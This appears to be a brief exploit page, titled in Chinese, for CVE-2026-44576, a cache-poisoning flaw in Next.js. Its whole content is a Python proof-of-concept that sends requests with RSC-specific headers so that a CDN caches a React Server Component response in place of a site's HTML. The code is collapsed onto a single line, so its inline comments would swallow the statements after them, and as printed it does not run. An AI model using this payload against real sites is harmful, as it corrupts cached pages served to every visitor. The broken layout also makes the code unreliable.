CVE-2026-44576: Next.js 缓存投毒漏洞

import requests # Proof of Concept for CVE-2026-44576 # Targeting a Next.js application vulnerable to cache poisoning target_url = "http://target-nextjs-app.com/" # Headers to trigger RSC response or confuse the cache # Note: Actual exploitation depends on specific CDN/Cache configuration headers = { "User-Agent": "PoC-Scanner/1.0", # Attempt to force an RSC response or specific variant "Accept": "text/x-component", "Next-Router-Prefetch": "1" } print(f"[+] Sending payload to {target_url}...") try: # Send request to poison the cache response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") print("[+] Cache might be poisoned if the CDN caches this RSC response as HTML.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")